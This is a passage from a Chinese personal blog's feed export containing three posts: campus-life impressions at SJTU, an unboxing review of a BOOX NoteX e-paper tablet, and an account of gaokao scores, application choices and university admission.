src="https://hans362-img.oss.0vv0.top/2022/09/10/5907270dce1f7e96c55619a28436644b.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/5907270dce1f7e96c55619a28436644b.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（对于我这种身体原因不能吃虾的肉食爱好者简直难以下咽）</p><p>幸好我可以不随连队活动，所以被坑了两次之后我选择自己去堂食（军训服一脱直接冒充大二学长），吃得很开心。</p><p>拉练那天晚上果然飘起了小雨，果然我校每逢拉练必下雨。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/606c54964c0b3198dd01db7bec5f764a.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/606c54964c0b3198dd01db7bec5f764a.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>不过这次雨不大，很凉快很舒服。我没有随队参加拉练，但有别的任务，也算是一种独特的体验。</p><p>拉练完之后就是中期慰问，我们班意外地收到了两个学院的慰问品（别问怎么做到的），可惜因为身体原因好多我暂时不能吃。</p><p>总的来说这次军训我少参加了很多无意义的集体活动，也有一些不同于他人的体验，正合我意。唯一的遗憾大概就是少认识了一些同学，不过以后还有机会。</p><h2 id="校园生活"><a class="markdownIt-Anchor" href="#校园生活"></a> 校园生活</h2><h3 id="校园景色"><a class="markdownIt-Anchor" href="#校园景色"></a> 校园景色</h3><p>学校位于闵大荒，环境很不错。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/bc922098ccddda61575507520e46d6c4.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/bc922098ccddda61575507520e46d6c4.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（荷塘）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/e3d9b99b8346c429960e384323d32158.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/e3d9b99b8346c429960e384323d32158.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（思源湖）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/15821bcc5c665743da85ce64ea1f9a8b.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/15821bcc5c665743da85ce64ea1f9a8b.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（台风外围雨停后的大彩虹）</p><h3 id="脚痛大学"><a class="markdownIt-Anchor" href="#脚痛大学"></a> 脚痛大学</h3><p>学校真的很大。教学楼在东西区都有，这也就意味着时常会出现两节课之间需要横跨东西区的情况。因此，如果只靠脚走不仅时间很赶还会脚痛，自行车成为了必需品，很庆幸我已经掌握了骑车这项技能。</p><p>校园内有大量的共享单车，以哈啰单车为主，部分共享单车只能在校园内使用，我买了哈啰的月卡（当然4个月的学生卡更便宜）。但是共享单车最大的毛病就是你不需要的时候满大街都是，要用的时候一辆都找不到，正在考虑买一辆自行车。</p><p>另外校内设有大量减速带，有一天骑了太久车感觉人都给颠麻了。还有一定要养成良好的骑行习惯，自从看了学校保卫处制作的校内交通事故录像集锦，我现在骑车都小心翼翼的。</p><h3 id="吃吃吃吃"><a class="markdownIt-Anchor" href="#吃吃吃吃"></a> 吃吃吃吃</h3><p>学校有非常多的食堂和餐饮店。趁着军训有大量摸鱼时间，我每顿都跑到比较远的食堂吃，并逐渐发现离宿舍最近的食堂是最难吃的，但即使如此也比高中食堂要好。</p><p>下面放点实拍图。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/cb6423f6ebd4ec63e0f93d380e693aef.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/cb6423f6ebd4ec63e0f93d380e693aef.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（石锅三样）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/c6c988011ce2a0e7053e4bf477bf07b1.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/c6c988011ce2a0e7053e4bf477bf07b1.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（大肉面）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/dcbbef38779c7bea2d7fc01d7e4818e5.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/dcbbef38779c7bea2d7fc01d7e4818e5.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（铁板鸡柳饭）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/4aa9fe3295dc5540f41449f6c0659f23.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/4aa9fe3295dc5540f41449f6c0659f23.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（玉兰苑的网红鸡蛋灌饼）</p><p>总体而言吃这块完全不用愁，堂食物美价廉（盒饭就不好说了），好吃的太多以至于每顿吃什么总要纠结半天。</p><h3 id="住宿条件"><a class="markdownIt-Anchor" href="#住宿条件"></a> 住宿条件</h3><p>寝室条件不一，有句话叫“闰年不来交大”，因为闰年普遍分配的是西区的老旧寝室，条件比较艰苦（但是好吃的多啊）。</p><p>我是在东区的寝室，条件稍好一些吧，就是非常标准的四人间，上床下桌，有个小阳台。有独立卫生间无独立浴室，且卫生间唯一的排风口居然朝着楼道走廊，有时走在楼道里一股味。</p><p>洗澡在一楼的大澡堂，有隔间无门，刷卡洗澡，刷一次出2块钱热水。洗澡需要排队，有时队伍堪比做核酸。</p><p>洗衣机也是整栋楼公用的，反正我是不敢用，宁可累一点手洗。据室友说他的衣服洗了之后一股味，有一次去发现有人用洗衣机洗内裤和袜子。</p><h3 id="校园网络"><a class="markdownIt-Anchor" href="#校园网络"></a> 校园网络</h3><p>我校网络应该说是全国高校数一数二的，不需要自己办宽带，提供完全免费的无线/有线网络接入。</p><p>学校大部分教学楼和食堂以及部分宿舍楼覆盖有 SJTU 无线网络，宿舍楼每个寝室内都有一个 AP，支持 WiFi-6。采用 802.1x 认证，因此一些老旧的设备可能连不上。</p><p>宿舍还提供了 1000Mbps 有线网络，但是仅供未覆盖 SJTU 无线网络的楼栋申请使用，我就用不上了。</p><h3 id="防疫政策"><a class="markdownIt-Anchor" href="#防疫政策"></a> 防疫政策</h3><p>很遗憾，至今未能回归到疫情前的生活，并且层层加码。</p><p>进出校门依旧需要填写事由并经过思政审批，不仅要保证申请的时候有48小时核酸，还要保证进出校的那一刻依旧能够覆盖到，否则有露宿街头的风险，真的是烦死人。幸好我的思政老师挺好的，每次申请都会及时通过审批。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/7fb90fa869bdac37e2ebc506548cd214.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/7fb90fa869bdac37e2ebc506548cd214.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（这是个反面教材）</p><p>校内所有室内场所都贴了校园场所码，这是我校放弃现成的场所码自研的一套玩意儿，进入室内场所要先用交我办APP扫码，还有专人在门口盯着，烦死人x2。</p><p>校内的常态化核酸要排长队，而且要在规定时间去做。校医院核酸点白天可做，单人单管，但是要收费16元。</p><p>这破日子，也不知道什么时候是个头。</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总之这段时间还是很快乐的，是人生中为数不多充满新鲜感的时光。</p><p>过完中秋就正式开学啦，看到这学期的课表我人麻了，一周四天早八。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/10/afac4f8a1748347147b6d9ee49694654.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/10/afac4f8a1748347147b6d9ee49694654.png?width=1920" srcset="/loading.gif" alt=""></p><p>之后要继续好好学习了，毕竟大一重要的课还挺多的，也希望10月份能分流到计科/软工/信安，加油！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久不见，首先祝各位中秋快乐！&lt;/p&gt;
&lt;p&gt;转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生，这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散，就以本文记录下我从零开始的大学生活吧！&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>电子纸初体验 - 文石 BOOX NoteX 开箱</title>
    <link href="https://blog.hans362.cn/post/onyx-boox-notex/"/>
    <id>https://blog.hans362.cn/post/onyx-boox-notex/</id>
    <published>2022-08-12T08:45:29.000Z</published>
    <updated>2025-12-31T14:36:17.821Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>诶嘿嘿，又花了大价钱整了个新玩具，感觉最近成为了一个开箱博主😂</p><p>那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白，就来分享一下开箱以及使用的感受吧。</p><span id="more"></span><h2 id="购买缘由"><a class="markdownIt-Anchor" href="#购买缘由"></a> 购买缘由</h2><p>先说说买这玩意儿的缘由吧。这不是要上大学了嘛，考虑到要带一堆书和笔记本，而且宿舍里也没有打印机，打印东西还得去打印店，于是决定试试无纸化学习。</p><p>我最先想到的方案是 iPad + Apple Pencil。目前手里的 iPad Air 2 从初中开始就是我的生产力工具，平时看个 PDF 啥的都是用的它，然而这家伙过于老旧根本不支持 Apple Pencil。我又想到最近刚好拿到了大学的 EDU 邮箱，而且我妈最近天天拿我的 iPad Air 2 追剧，要不我就用教育优惠买个新的吧。进入官网一看好家伙，这价格都快顶得上一台电脑了，这真的优惠过吗？</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/aa271600ad522f4808562d9a8e525748.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/aa271600ad522f4808562d9a8e525748.png?width=1920" srcset="/loading.gif" alt=""></p><p>苹果的高价让我死心。这时候我又想到高中时同桌用的索尼电子纸，能看 PDF，能做笔记，还不累眼，这不是刚好符合我的需求吗？一查价格直接死心，索尼大法虽好，然鹅我承受不起。不过电子纸倒确实是个不错的选择。最后经过一番挑选，我把目光锁定在了文石 BOOX NoteX，京东正好赶上活动2230元拿下。</p><h2 id="参数规格"><a class="markdownIt-Anchor" href="#参数规格"></a> 参数规格</h2><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/e7bf70785578222bcab09e5a785982cb.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/e7bf70785578222bcab09e5a785982cb.png?width=1920" srcset="/loading.gif" alt=""></p><p>（懒得抄一遍了，直接上图吧qwq）</p><h2 id="开箱"><a class="markdownIt-Anchor" href="#开箱"></a> 开箱</h2><p>拿到手快递纸箱里放了很多保护用的充气塑料袋，然后就是这个大黑盒子。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/f37d78e21535de497761c4b064234e13.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/f37d78e21535de497761c4b064234e13.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>打开大黑盒子，里面是赠送的收纳袋和电源适配器，以及一个小黑盒子。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/1caf04e7944c840bb7399ef942a10ca6.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/1caf04e7944c840bb7399ef942a10ca6.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>小黑盒子里面就是电子纸本体啦！还有配套的电磁笔和 Type-C 数据线以及取 TF 卡的取卡针。不过没有送替换的笔芯哦，以后磨损了还得自己买来更换。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/22f4ae4103bdda9fd920a382f9729fbe.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/22f4ae4103bdda9fd920a382f9729fbe.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>迫不及待地开机~</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/731be42199d1435ebbe494ad3fd3a629.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/731be42199d1435ebbe494ad3fd3a629.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/c869ccaca74efb12078a682ccee5b406.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/c869ccaca74efb12078a682ccee5b406.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>走完安卓的设置向导以及电磁笔校准后，进行了系统更新，就进入桌面啦！整个系统的设计还是挺清晰的，轻松上手。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/18f582d3e8ef0c2d78b93129d55d9c03.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/18f582d3e8ef0c2d78b93129d55d9c03.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/ec1cd778f57eb917ca25ced2b8f42b4f.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/ec1cd778f57eb917ca25ced2b8f42b4f.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>试了试书写体验，挺不错的，延迟也比预想的要好。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/b7a9a4ebe16733408f0db6c4e5109614.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/b7a9a4ebe16733408f0db6c4e5109614.jpg?width=1920" srcset="/loading.gif" alt=""></p><h2 id="一些优点"><a class="markdownIt-Anchor" href="#一些优点"></a> 一些优点</h2><p>首先系统极具开放性，本质上就是一个安卓平板，可以安装任意安卓11系统支持的应用程序，并可以通过 E-Ink 中心自行调优。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/64cc9a5d62d4b0626d725f2a83d17439.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/64cc9a5d62d4b0626d725f2a83d17439.png?width=1920" srcset="/loading.gif" alt=""></p><p>系统甚至自带谷歌服务框架，尝试直接安装 Play Store 成功。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/124812b32a4238cd952d8d791be97a94.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/124812b32a4238cd952d8d791be97a94.png?width=1920" srcset="/loading.gif" alt=""></p><p>这就增添了很多有趣的玩法，以下只是一些例子。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/7abb4e971e6ad3e60dff03ca28531c45.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/7abb4e971e6ad3e60dff03ca28531c45.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/96e0ba22b054dadb5cf3f442dca0e142.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/96e0ba22b054dadb5cf3f442dca0e142.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/92a176da820eadadf47e5e6c2dd7c794.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/92a176da820eadadf47e5e6c2dd7c794.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/57e159c9bccb93a605275cbd3cfb9729.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/57e159c9bccb93a605275cbd3cfb9729.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/6f0930d5ccd450cbdb453c53bd54b47a.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/6f0930d5ccd450cbdb453c53bd54b47a.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>其次系统自带冻结功能，对应用有着严格的后台管理机制，不用担心死机卡顿。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/28e19f0282251bdbab47d3a0b1ebfd38.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/28e19f0282251bdbab47d3a0b1ebfd38.png?width=1920" srcset="/loading.gif" alt=""></p><p>最后嘛也就是所有墨水屏的优点，对眼睛相对比较友好。毕竟自身不发光（当然可以开启背光），就和一张普通的纸没区别，除了能改变内容。而且这个屏幕虽然说是玻璃的，但是自带了一层类纸膜一样的东西，所以纸张感很强，写字有沙沙的感觉，很逼真。</p><h2 id="一些缺点"><a class="markdownIt-Anchor" href="#一些缺点"></a> 一些缺点</h2><p>在写字的时候还是有点不习惯，能够感受到笔尖所在的平面与墨水屏所在的平面还是有一定的距离，感觉像是隔了一层玻璃在写字，大概习惯了会好点。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/12/e00afe939fb63c9da10e1e61e596785f.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/12/e00afe939fb63c9da10e1e61e596785f.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>在台灯下阅读时屏幕反光比较厉害，毕竟是玻璃屏，只能关掉台灯开启背光。</p><p>自带的笔没有功能键，需要先切换到橡皮再擦除墨迹，比较不方便，可以通过另购电磁笔解决。</p><p>除此之外还有大尺寸电子墨水屏的通病，尤其是玻璃屏，那就是特别易碎。而且挺多人貌似都没有磕碰，放在赠送的收纳包里都能自己碎掉，碎了之后外表上还看不出，只是屏幕无法正常显示。维修费普遍在1000元以上，能买半个自身了。所以千万不能摔，不能弯折，不能在上面压东西，不然就寄。（对我这种手残人士很不友好）</p><p>还有电磁笔也不能摔，万一压感摔坏了就会出现隔空写字的情况，不过这个换个笔的价钱还是能接受的。（我这个手残拿到货区区两天已经摔了一次笔了，还好摔的时候戴着笔帽，没有啥问题）</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总之还是挺满意的，拿来看 PDF 以及记笔记都很不错，而且墨水屏那刷新率也基本告别了拿来看视频，生产力拉满。</p><p>就是现在正在努力养成轻拿轻放的习惯，毕竟摔一次1000块钱可不是开玩笑的。看看我这个手残能正常使用它几个月吧。之后要是屏幕莫名其妙碎了我会更新这篇文章来劝退的，想选购的但又不是太急的也可以先观望一下。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;诶嘿嘿，又花了大价钱整了个新玩具，感觉最近成为了一个开箱博主😂&lt;/p&gt;
&lt;p&gt;那么这次开箱的是文石 BOOX NoteX 电子纸。作为一个以前从未用过电子墨水产品的小白，就来分享一下开箱以及使用的感受吧。&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="测评" scheme="https://blog.hans362.cn/tags/%E6%B5%8B%E8%AF%84/"/>
    
    <category term="评测" scheme="https://blog.hans362.cn/tags/%E8%AF%84%E6%B5%8B/"/>
    
    <category term="电子纸" scheme="https://blog.hans362.cn/tags/%E7%94%B5%E5%AD%90%E7%BA%B8/"/>
    
    <category term="文石" scheme="https://blog.hans362.cn/tags/%E6%96%87%E7%9F%B3/"/>
    
    <category term="BOOX" scheme="https://blog.hans362.cn/tags/BOOX/"/>
    
    <category term="NoteX" scheme="https://blog.hans362.cn/tags/NoteX/"/>
    
  </entry>
  
  <entry>
    <title>周记#26 - 高考简报</title>
    <link href="https://blog.hans362.cn/post/weekly-26/"/>
    <id>https://blog.hans362.cn/post/weekly-26/</id>
    <published>2022-08-04T02:57:34.000Z</published>
    <updated>2025-12-31T14:36:17.829Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>又半个月过去了，<s>是时候来水一篇文章了（）</s></p><p>好吧，其实是因为8月3日晚就查到了录取结果，终于算是尘埃落定，可以安心过暑假了，就趁此机会就来记录一下7月这后半个月的事情吧。</p><span id="more"></span><h2 id="高考查分"><a class="markdownIt-Anchor" href="#高考查分"></a> 高考查分</h2><p><strong>先说明一下哈，上海高考满分660分（150+150+150+70+70+70），避免无意义的争论。</strong></p><p>7月23日一早就开始坐立不安，虽说是晚上六点才出成绩，但是按照春考提前了两个小时就出分的惯例还真说不准。我开始一遍遍地给自己估分，计算器劈里啪啦敲了好几遍，甚至还做了语文数学都只考100分的最坏打算。当然最后给自己一个比较保守且合理的估计是120+134+141+207=602分，语文直接按一二模的分，数学按照民间答案估的，英语默认春考最高，小三门成绩已知。</p><p>到了傍晚五点查分页面竟然还是没有动静，依旧是“敬请期待”，这考试院怎么不急着下班啊？五点二十几分考试院官网公布了一分一段表，打开一看直接开幕雷击，600+的高分是去年的近两倍啊！整体涨了近10分！这就是多学一个月且卷子偏简单的后果吗，这也太恐怖了！</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/04/da4488bfd03dfbbacfaf07b57c21f265.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/04/da4488bfd03dfbbacfaf07b57c21f265.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/04/c5f900119d39bfb0a9f037e36a7271c5.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/04/c5f900119d39bfb0a9f037e36a7271c5.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>再一看我自己估的分数602分，放在去年还算能打，放在今年简直就是一抓一大把。我只能默默祈祷语文能再高一点了，毕竟模考的分数偏低，120分已经是班级前五了。</p><p>快六点的时候东方网查分通道提前开了，我几乎是手抖着输入了账号密码，心都快跳出来了，页面非常丝滑，成绩在我按下按钮的那一刻就出来了。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/04/6e57ff734df6ce8d336e5be41f692b2b.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/04/6e57ff734df6ce8d336e5be41f692b2b.png?width=1920" srcset="/loading.gif" alt=""></p><p>我第一眼看到的是数学，比预估高了2分还有点高兴，应该是压轴题瞎写的证明过程中用到了数学归纳法就给了2分。紧接着看到语文就乐不出来了，不仅没有高上去甚至还比模考低了1分，而且问了同学竟然都是120+，甚至不乏130+的，我是万万没想到语文会寄，果然是玄学吗，语文不爱我了呜呜呜。英语虽然之前说感觉自己又行了，但是毕竟半年没学了，主观题完全是自由发挥的，最后还是没能比春考高。</p><p>于是最终的分数是119+136+141+207=603，按一分一段表排名全市459名，寄。清北以及上交 IEEE/AI 想都不要想，上交工科试验班能不能进都是问题，大概只有被调剂的份。</p><p>查分之前还收到了清北的短信，让我查完分第一时间把分数填在系统里。查完分我已经死心了，也就没填。结果当晚还是接到了清华的电话问我分数，我非常尴尬地报了成绩，对面沉默了，然后说了句“加油”。</p><p>第二天一早十点多收到了邮寄上门的成绩单，603分确凿无疑。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/04/47189bef1c226db69ece234a230be012.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/04/47189bef1c226db69ece234a230be012.jpg?width=1920" srcset="/loading.gif" alt=""></p><h2 id="强基计划"><a class="markdownIt-Anchor" href="#强基计划"></a> 强基计划</h2><p>虽然已经死心了，但是反正低分入围了北大强基，就去玩玩了。强基校测是家考，线上笔试+面试，笔试双机位监考。题目挺难的，数学技巧性很强，但有几道好像是往年的题目改编的，很眼熟，之前做过一遍也就会做了，所以强烈建议要考强基的同学好好做做往年的题目。</p><p>最后校测15分给了10分，高考成绩折合下来78分，合起来88分，物理组分数线90分，没有奇迹。</p><h2 id="填报志愿"><a class="markdownIt-Anchor" href="#填报志愿"></a> 填报志愿</h2><p>考这个分志愿倒也没啥好纠结的，零志愿不用报，提前批学校我看不上也不用报，就只需要填报综合评价批次和普通批次的志愿。</p><p>综合评价填了上交，一志愿 IEEE，二志愿 AI，三志愿工科试验班（信息类）。一二志愿填上纯粹是为了碰碰运气，三志愿是比较可能进的，四志愿本来想填密院兜个底，看到极度高昂的学费还是算了。然后勾了服从调剂（有传言说面试的时候看到不服从调剂直接先扣个10分再说）。</p><p>考虑到综评批次达到上交物理组分数线应该没问题，又勾选了服从调剂，大概率是不会到普通批了，所以普通批就按分数由高到低随便填了几所。</p><p>以上步骤都是在家里通过考试院官网的辅助填报系统完成的，填完之后会打印一张表格，正式填报是要带着表格到学校机房去填的。上海这边正式的志愿填报系统只对学校内网开放，正式填报时家长禁止进入学校，所以也就杜绝了家长瞎改志愿这种事情的发生，学生有完全的自主权，值得称赞。正式填完之后在机房打印草表，核对签字，再打印正表，核对签字，然后志愿锁定，因此除非真的不上心，否则也不会有填错的事情发生。</p><h2 id="综合评价"><a class="markdownIt-Anchor" href="#综合评价"></a> 综合评价</h2><p>7月31日综合评价入围结果公布，上交物理组入围线580分，创新高。随后就要准备综合评价面试了。综合评价批次是高考分数占比85%，面试分数占比15%，满分1000分。</p><p>8月2日参加了综评面试，因为疫情改为线上进行，双机位监控。只能说安排非常不人性化，面试40分钟，罚坐4小时。等候期间也要全程开摄像头，不能上网，不能交流，不能离开监控区域，只能翻阅纸质材料。我又很不幸抽签抽到了一个很靠后的位置，等候时间应该是全组第二长的。</p><p>面试分为 A/B 两轮，没有很大的差异，甚至有些问题是重复的。关于面试的具体内容签了保密协议不能透露，只能说和你提交的材料以及做的自我介绍有很大的联系，千万不要在这些材料里作假，否则就是在给自己挖坑。</p><p>顺顺利利地面完，没有奇怪的问题，好像还有电院的教授，看到我打 OI 直接问了一些算法和数据结构的硬核问题，还好没有涉及到我的知识盲区。第二轮的时候能明显感受到面试的教授脸上洋溢着快要下班的喜悦，果然谁都盼着下班。</p><h2 id="录取结果"><a class="markdownIt-Anchor" href="#录取结果"></a> 录取结果</h2><p>最后面试拿了135+，高考折合776.59，总分910+。IEEE/AI 没戏，因为高考610+的貌似面试都给了近满分，直接招进去了，所以我没有翻身的机会。但是至少工科试验班（信息类）保住了，没有被调剂去另一个工科试验班（机械、船舶等）。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/04/b56cfe88d808e976b320c5babb629a7d.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/04/b56cfe88d808e976b320c5babb629a7d.png?width=1920" srcset="/loading.gif" alt=""></p><p>不过这个专业也是个大坑，因为是大类招生，入学后还要分流决定是 CS 还是 EE 还是自动化、测控之类的，甚至还混入了生物医学工程这个天坑。而按照去年的分流政策高考成绩依然要占比80%，我感觉我 CS 无望了，真的哭死。只希望不要沦落到生物医学工程，不然大概要去医疗器械厂做销售员了（bushi）。</p><p>有点犹豫要不要报致远 ACM，听说卷死了，都是信竞大佬。而且压力很大，还要学数分等一些数学系的课程，感觉自己坚持不下来，即使苟活绩点应该也不会好。</p><p>然后我们班3个清北，之后基本上都是上交或复旦，去复旦的还蛮多的，比上交多。和我一起进工试信息的还有三个同学，以后又要继续做同学了呢。以及学计算机的真多，算上隔壁复旦的我们班一共有八个人，平时都是卷王啊，感觉以后要被卷死了。</p><p>值得一提的是我外公听说我报了交大，说交大是二流学校，为啥不报复旦啊😂（SJTU 风评被害）果然在外地人的眼中都是复旦&gt;上交的吗，这种 stereotype 是哪来的啊qwq</p><h2 id="录取通知书开箱"><a class="markdownIt-Anchor" href="#录取通知书开箱"></a> 录取通知书开箱</h2><p>8月6日一早 EMS 就把录取通知书快递上门啦！</p><p>签收时发现竟然有两个包裹，打开后发现其中一袋原来是密院、巴院、莫航之类的广告小册子，红色的才是录取通知书本体。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/d5b4955adf01fe52d37aa55817fd4238.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/d5b4955adf01fe52d37aa55817fd4238.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>不得不说 SJTU 的录取通知书礼盒还是很实诚的，颜值很高，一点也不敷衍。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/eb033850f36e82377829b1254ce7f589.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/eb033850f36e82377829b1254ce7f589.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>中间那块校牌是可以拿下来的，盒子里还附了一块吸铁石可以吸在衣服上。盒子里面的内容也很丰富，首先当然是录取通知书啦。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/47029ffe643986356eb57e1d600aa099.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/47029ffe643986356eb57e1d600aa099.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>通知书下面就是各种说明和注意事项，还有行李贴、银行卡之类的。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/c03886f11c1c173f0c07fad294d15adb.jpg?width=1920" class="lazy" 